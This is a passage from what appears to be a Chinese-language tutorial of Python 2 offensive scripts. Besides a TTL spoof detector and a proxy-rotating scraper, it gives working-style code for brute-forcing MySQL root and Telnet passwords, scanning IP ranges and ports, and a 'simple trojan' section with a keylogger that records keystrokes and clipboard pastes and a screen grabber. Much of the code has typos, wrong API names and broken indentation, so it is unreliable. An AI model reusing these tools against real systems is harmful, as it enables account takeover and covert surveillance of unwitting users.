    if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
        print '\n[!] Detected Possible Spoofed Packet From: ' + ipsrc
        print '[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc])

代码整合

# -*- coding: utf-8 -*-

import optparse
from scapy.all import * # 使用scapy库
from IPy import IP as IPTEST    # 导入相关库并重新命名

ttlValues = {}  # TTL值
THRESH = 5  # 中继跳

def checkTTL(ipsrc,ttl):
    if IPTEST(ipsrc).iptype() == 'PRIVATE': # 判断返回值
        return
    if not ttlValues.has_key(ipsrc):
        pkt = srl(IP(dst=ipsrc)/ICMP(),retry=0,timeout=1,verbose=0)
        ttlValues[ipsrc] = pkt.ttl
    if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
        print '\n[!] Detected Possible Spoofed Packet From: ' + ipsrc
        print '[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc])

def testTTL(pkt):
    try:
        if pkt.haslayer(IP):
            ipsrc = pkt.getlayer(IP).src    #判断pkt中是否有IP地址
            ttl = str(pkt.ttl)  # 提取UO地址与TTL并打印出来
            print '[+] Pkt Received From: ' + ipsrc + 'with TTL: ' + ttl
    except:
        pass

def main():
    parser = optparse.OptionParser("usage %prog" + "-i <interce> -t <tresh>")
    parser.add_option('-i',dest='iface',type='string',help='specify network interface')
    parser.add_option('-t', dest='thresh', type='int', help='specify threshold count')
    (options, args) = parser.parse_args()
    if options.iface == None:
        conf.iface = 'eth0'
    else:
        conf.iface = options.iface
    if options.tresh != None:
        THRESH = options.thresh
    else:
        THRESH = 5
    try:
        sniff(prn=testTTL,store=0)  # 嗅探
    except Exception,e:
        print e

if __name__ == '__main__':
    main()

11、用anonBrowser抓取web页面

anonBrowser 类库

# -*- coding: utf-8 -*-

import mechanize, cookielib, random

class anonBrowser(mechanize.Browser):
    
    def __init__(self, proxies=[], user_agents=[]):
        mechanize.Browser.__init__(self)
        self.set_handle_robots(False)
        self.proxies = proxies
        self.user_agents = user_agents + ['Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0']
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        self.anonymize()
    
    def clear_cookies(self):
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        
    def change_user_agent(self):
        index = random.randrange(0, len(self.user_agents))
        self.addheaders = [('User-agent',(self.user_agents[index]))]
    
    def change_proxy(self):
        if self.proxies:
            index = random.randrange(0, len(self.proxies))
            self.set_proxies({'http': self.proxies[index]})
            
    def anonymize(self, sleep= False):
        self.clear_cookies()
        self.change_user_agent()
        self.change_proxy()
        if sleep:
            time.sleep(60)

解析页面

# -*- coding: utf-8 -*-

from anonBrowser import *
from BeautifulSoup import BeautifulSoup
import os
import optparse
import re

def printLinks(url):
    ab = anonBrowser()
    ab.anonymize()
    page = ab.open(url)
    html = page.read()
    try:
        print '[+] Printing Links From Regex.'
        link_finder = re.compile('href="(.*?)"')
        links = link_finder.findall(html)
        for link in links:
            print link
    except:
        pass
    try:
        print '\n[+] Printing Links From BeautifulSoup.'
        soup = BeautifulSoup(html)
        links = soup.findall(name='a')
        for link in links:
            if link.has_key('href'):
                print link['href']
    except:
        pass

def main():
    parser = optparse.optionparser('usage %prog -u <target url>')
    parser.add_option('-u',dest='tgturl',type='string',help='specify target url')
    (options,args) = parser.parser_args()
    url = options.url
    if url == None:
        print parser.usage
        exit(0)
    else:
        printLinks(url)
        
if __name__ == '__main__':
    main()

下载目标站点图片

# -*- coding: utf-8 -*-

from anonBrowser import *
from BeautifulSoup import BeautifulSoup
import os
import optparse


def mirrorImages(url,dir):
    ab = anonBrowser()
    ab.anonymize()
    html = ab.open(url)
    soup = BeautifulSoup(html)
    image_tags = soup.findall('img')
    for image in image_tags:
        filename = image['src'].lstrip('http://')
        filename = os.path.join(dir,filename.replace('/','_'))
        print '[+] Saving ' + str(filename)
        data = ab.open(image['src']).read()
        ab.back()
        save = open(filename,'wb')
        save.write(data)
        save.close()

def main():
    parser = optparse.optionparser('usage %prog -u <target url> -d <destination directory>')
    parser.add_option('-u',dest='tgturl',type='string',help='specify target url')
    parser.add_option('-d', dest='dir', type='string', help='specify destination directory')
    (options,args) = parser.parser_args()
    url = options.tgturl
    dir = options.dir
    if url == None or dir == None:
        print parser.usage
        exit(0)
    else:
        try:
            mirrorImages(url, dir)
        except Exception,e:
            print '[-] Error Mirroing Images '
            print '[-]  ' + str(e)

if __name__ == '__main__':
    main()

12、多线程爆破mysql

# -*- coding: utf-8 -*-

import threading
import argparse
import socket
import Queue
import netaddr
import MySQLdb
import time
import sys

class Mysqlfuzz:

    def __init__(self,addr,tnum):
        self.scanque = Queue.Queue()
        self.tnum = tnum
        self.tmpnum = tnum
        self.lock = threading.Lock()
        self.openlist = []
        if addr.find("-") != -1:     #ip地址识别
            for ip in netaddr.IPRange(addr.split("-")[0],addr.split("-")[1]):
                self.scanque.put(ip)
        else:
            for ip in netaddr.IPNetwork(addr).iter_hosts():
                self.scanque.put(ip)
        self.qsize = self.scanque.qsize() #队列大小
        for i in range(tnum): #开启线程
            t = threading.Thread(target=self.ScanPort)
            t.setDaemon(True)
            t.start()
        while self.tmpnum > 0:
            time.sleep(1.0)
        print "[*]:cracking MySQL Password ..."
        with open("pass.txt","r") as file: #读取字典
            data = file.readlines()
        for ip in self.openlist: #逐条尝试密码
            for line in data:
                self.scanque.put(line.strip())
            for i in range(tnum):
                t = threading.Thread(target=self.Crack,args=(ip,))
                t.setDaemon(True)
                t.start()
            while self.scanque.qsize() > 0:
                time.sleep(1.0)

    def Crack(self,ip): #连接目标MySQL数据库
        while self.scanque.qsize() > 0:
            try:
                password = self.scanque.get()
                conn = MySQLdb.connect(host=ip, user='root', passwd=password, db='test', port=3306, connect_timeout=4)
                self.lock.acquire()
                msg = "[+]:%s Username: root Password is: %s" % (ip, password)
                print msg
                output = open('good.txt', 'a')
                output.write(msg + "\r\n")
                self.lock.release()
                break
            except:
                pass

    def ScanPort(self):  # 查看目标3306端口状态
        while self.scanque.qsize() > 0:
            try:
                ip = self.scanque.get()
                s = socket.socket()
                s.settimeout(4)
                s.connect((str(ip), 3306))
                self.lock.acquire()
                print ip, " 3306 open"
                self.openlist.append(str(ip))
                self.lock.release()
            except:
                pass
        self.tmpnum -= 1

if __name__ == "__main__":  # 获取命令行参数并开始尝试暴力破解
    parse = argparse.ArgumentParser(description="mysqlfuzz")
    parse.add_argument('-a', '--addr', type=str, help="ipaddress")
    parse.add_argument('-t', '--thread', type=int, help="ThreadNumber",default=100)
    args = parse.parse_args()
    if not args.addr:
        parse.print_help()
        sys.exit(0)
    addr = args.addr
    tnum = args.thread

Mysqlfuzz(addr, tnum)

13、IP段端口扫描

UI界面与扫描函数

# -*- coding: utf-8 -*-

from PyQt4 import Qtcore,QtGui
import sys
import socket
import threading,time
import thread
import ini
import time # 获取时间和延时

socket.setdefaulttimeout(10)    # 设置全局默认超过时间

try:
    _fromUtf8 = Qtcore.Qstring.fromUtf8
except AttributeError:
    _fromUtf8 = lambda s: s

class Ui_Form(object):

    def setupUi(self,Form):
        Form.setObjectName(_fromUtf8("Form"))
        Form.resize(272, 482)
        self.textEdit = QtGui.QTextEdit(Form)
        self.textEdit.setGeometry(QtCore.QRect(60, 10, 201, 31))
        self.textEdit.setObjectName(_fromUtf8("textEdit"))
        self.textEdit_2 = QtGui.QTextEdit(Form)
        self.textEdit_2.setGeometry(QtCore.QRect(60, 50, 201, 31))
        self.textEdit_2.setObjectName(_fromUtf8("textEdit_2"))
        self.textEdit_3 = QtGui.QTextEdit(Form)
        self.textEdit_3.setGeometry(QtCore.QRect(60, 90, 81, 31))
        self.textEdit_3.setObjectName(_fromUtf8("textEdit_3"))
        self.label = QtGui.QLabel(Form)
        self.label.setGeometry(QtCore.QRect(10, 30, 54, 12))
        self.label.setObjectName(_fromUtf8("label"))
        self.label_2 = QtGui.QLabel(Form)
        self.label_2.setGeometry(QtCore.QRect(10, 70, 54, 12))
        self.label_2.setObjectName(_fromUtf8("label_2"))
        self.label_3 = QtGui.QLabel(Form)
        self.label_3.setGeometry(QtCore.QRect(20, 110, 54, 12))
        self.label_3.setObjectName(_fromUtf8("label_3"))
        self.pushButton = QtGui.QPushButton(Form)
        self.pushButton.setGeometry(QtCore.QRect(160, 90, 101, 31))
        self.pushButton.setObjectName(_fromUtf8("pushButton"))
        self.textEdit_4 = QtGui.QTextEdit(Form)
        self.textEdit_4.setGeometry(QtCore.QRect(10, 150, 251, 321))
        self.textEdit_4.setObjectName(_fromUtf8("textEdit_4"))
        self.label_4 = QtGui.QLabel(Form)
        self.label_4.setGeometry(QtCore.QRect(70, 130, 251, 25))
        self.label_4.setObjectName(_fromUtf8("label_4"))
        self.retranslateUi(Form)
        QtCore.QMetaObject.connectSlotsByName(Form)
        QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8("clicked()")), self.test)

    def test(self):
        thread.start_new_thread(self.mess, ())

    def mess(self):
        ip1 = self.textEdit.toPlainText()  # 获取内容
        ip2 = self.textEdit_2.toPlainText()  # 获取内容
        port = self.textEdit_3.toPlainText()  # 获取内容
        ini.ini_write(ip1, ip2, port)  # 修改INI
        self.textEdit_4.append(u"扫描结果会保存在程序目录下ip.txt")
        list_ip = self.gen_ip(self.ip2num(ip1), self.ip2num(ip2))
        self.pushButton.setEnabled(0)  # 将按钮改成禁用
        self.textEdit_4.append(u"需要扫描" + str(len(list_ip)) + u"个IP")
        I1 = 0  # 得到list的第一个元素
        ip = 0
        self.textEdit_4.append(u"开始扫描IP--" + time.strftime('%Y.%m.%d-%H. %M. %S'))
        while I1 < len(list_ip):
            if ip >= 200:
                ini.ini_write(list_ip[I1], ini.IP2, port)  # 修改INI
        ip = 0
        print list_ip[I1]
        ip = ip + 1
        time.sleep(0.1)  # 确保先运行Seeker中的方法

        thread.start_new_thread(self.socket_port, (list_ip[I1], int(port)))
        I1 = I1 + 1  # 一层
        self.textEdit_4.append(u"IP扫描完成--" + time.strftime('%Y.%m.%d-%H.%M.%S'))
        self.pushButton.setEnabled(1)  # 将按钮改成可用

    def socket_port(self,ip,PORT):
        try:
            self.label_4.setText(U"正在扫描IP:"+str(ip)+u":"+str(PORT))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip,PORT))
            self.textEdit_4.append(str(ip)+u":"+str(PORT)+u"端口开放")
            xxx=file('ip.txt','w')
            xxx.write(str(ip))
            xxx.write('\n')
            xxx.close()
        except:
            print ip, u":", PORT, u"端口未开放"
    def ip2num(self,ip):
        ip = [int(x) for x in ip.split('.')]
        return ip[0]<<24 | ip[1]<<16 | ip[2]<<8 | ip[3]

    def num2ip(self,num):
         if num>=IPend:
         self.textEdit_4.append(u"IP导入数组完成")
         return '%s.%s.%s.%s' % ( (num & 0xff000000) >> 24,(num & 0x00ff0000) >> 16,(num & 0x0000ff00) >> 8,num & 0x000000ff)

    def gen_ip(self,Aip1,Aip2): #返回数组
         global IPend
         IPend=Aip2
         return [self.num2ip(num) for num in range(Aip1,Aip2+1) if num & 0xff]

    def iniA(self):
        ini.ini_get()  # 读取INI
        self.textEdit.setPlainText(ini.IP1)
        self.textEdit_2.setPlainText(ini.IP2)
        self.textEdit_3.setPlainText(ini.port)

    def retranslateUi(self, Form):
        Form.setWindowTitle(QtGui.QApplication.translate("Form","Simple", None, QtGui.QApplication.UnicodeUTF8))
        self.label.setText(QtGui.QApplication.translate("Form", "开始IP：", None, QtGui.QApplication.UnicodeUTF8))
        self.label_2.setText(QtGui.QApplication.translate("Form", "结束IP：", None, QtGui.QApplication.UnicodeUTF8))
        self.label_3.setText(QtGui.QApplication.translate("Form", "端口：", None, QtGui.QApplication.UnicodeUTF8))
        self.pushButton.setText(QtGui.QApplication.translate("Form", "开始扫描", None, QtGui.QApplication.UnicodeUTF8))
        self.label_4.setText(QtGui.QApplication.translate("Form", "扫描结果", None, QtGui.QApplication.UnicodeUTF8))

class Start(QtGui.QMainWindow):

    def __init__(self,parent=None):
        QtGui.QWidget.__init__(self,parent)
        self.ui=Ui_Form()
        self.ui.setupUi(self)
        self.ui.iniA()

if __name__ == '__main__':
    app = QtGui.QApplication(sys.argv)
    myapp = Start()
    myapp.show()
    sys.exit(app.exec_())

ini.py

# -*- coding: utf-8 -*-

IP1 = ""    #扫描IP
IP2 = ""    #当前已经扫到的IP
port = ""   #扫描端口
INITXT = "IP.ini"   # INI文件名字

import ConfigParser

def ini_get():  # 读取INI
    try:
        global IP1
        global IP2
        global port
        global INITXT
        config = ConfigParser.ConfigParser()
        config.readfp(open(INITXT))
        IP1 = config.get("ipdata","ip1")
        IP2 = config.get("ipdata","ip2")
        port = config.get("ipdata","port")
    except:
        print "读取INI错误"
        ini_add("","","")   # 写入INI

def ini_add(ip1,ip2,pt):# 写入INI
    try:
        global INITXT
        config = ConfigParser.ConfigParser()
        config.add_section("ipdata")    # 设置section段及对应的值
        config.set("ipdata","ip1",ip1)
        config.set("ipdata", "ip2", ip2)
        config.set("ipdata", "pt", pt)
        config.write(open(INITXT,"w"))  # 写入文件
    except:
        print "写入INI错误"

def ini_write(ip1,ip2,pt):  #修改INI
    try:
        global INITXT
        config = ConfigParser.ConfigParser()
        config.read(INITXT)
        if not config.has_section("ipdata"):    #看是否存在该Section，不存在则创建
            temp = config.add_section("")
        config.set("ipdata","ip1",ip1)
        config.set("ipdata", "ip2", ip2)
        config.set("ipdata", "pt", pt)
        config.write(open(INITXT,"r+"))
    except:
        print "修改INI错误"
        ini_add("","")  # 写入INI

14、TCP端口扫描

简易脚本

# -*- coding: utf-8 -*-

from socket import *

# 简单扫描
def PortScanner(host,port):
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        print("[+] %d open" % port)
        s.close()
    except:
        print("[-] %d close" % port)
def main():
    setdefaulttimeout(1)
    for p in range(20,100):
        PortScanner('192.168.1.3',p)
if __name__ == '__main__':
    main()

创建线程

# -*- coding: utf-8 -*-

from socket import *
import threading

lock = threading.Lock()
openNum = 0
threads = []

# 简单扫描
def PortScanner(host,port):
    global openNum
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        lock.acquire()      #所定成员
        openNum += 1
        print("[+] %d open" % port)
        lock.release()  #解锁
        s.close()
    except:
        pass

def main():
    setdefaulttimeout(1)
    for p in range(1,1024):     #端口范围
        t = threading.Thread(target=PortScanner,args=('192.168.1.3',p))
        threads.append(t)   #创建threads数据
        t.start()
    for t in threads:
        t.join()
    print("[*] The scan is complete!")
    print("[*] a total of %d open port" % (openNum))

if __name__ == '__main__':
    main()

15、Telnet密码爆破

# -*- coding: utf-8 -*-

import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, passowrd, finish):
    # 链接Telnet服务器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)
    # 输入登录用户名
    tn.read_until("login: ")
    tn.write(str(username)+'\n')
    # 输入登录密码
    tn.read_until("Password: ")
    tn.write(str(passowrd) + '\n')
    # 判断密码错误提示，如果没有提示说明登录成功
    if tn.read_until(finish):
        print "[-]Login Failed\n"
    tn.close()

if __name__ == '__main__':
    Host = raw_input("IP:")     # talent服务器IP
    Port = raw_input("Port:")   # Telnet服务器端口
    username = 'root'           # 登录用户名
    finish = 'incorrect'        # 密码错误提示
    pw_file = open('pass.txt','r') # 密码文件
    Index = 0
    print time.asctime(),": begin","\n"
    while True:
        password = pw_file.readline()
        Index += 1
        print Index,time.asctime(),"Try","",username,":",password,""
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

16、简易木马程序

键盘记录

# -*- coding: utf-8 -*-

from ctypes import *
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetwindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\0x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("\0x00"*512)
    length = user32.GetwindowTextA(hwnd,byref(windows_title),512)

    # 打印
    print
    print "[ PID: %s-%s-%s ]" % (process_id,executable.value,windows_title.value)
    print

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):
    global current_window

    # 检测目标窗口是否转移（换了其他窗口就监听新的窗口）
    if event.WindowName != current_window:
        current_window = event.WindowName

        # 函数调用
        get_current_process()

    # 检测击键是否常规按键（非组合键等）
    if event.Ascii > 32 and event.Ascii < 127 :
        print chr(event.Ascii)
    else:
        # 如果发现Ctrl+v（粘贴）事件，就把查娜铁板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key

    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke

# 注册hook并执行
k1.HookKeyboard()
pythoncom.PumpMessages()

屏幕截图

# -*- coding: utf-8 -*-

import win32gui
import win32ui
import win32con
import win32api

# 获取桌面
hdesktop = win32gui.GetDesktopWindow()

# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,width,height)
mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件
screenshot.SaveBitmapFile(mem_dc,'C:\\Users\\Administrator\\Desktop\\Screenshots.bmp')

# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.Gethandle())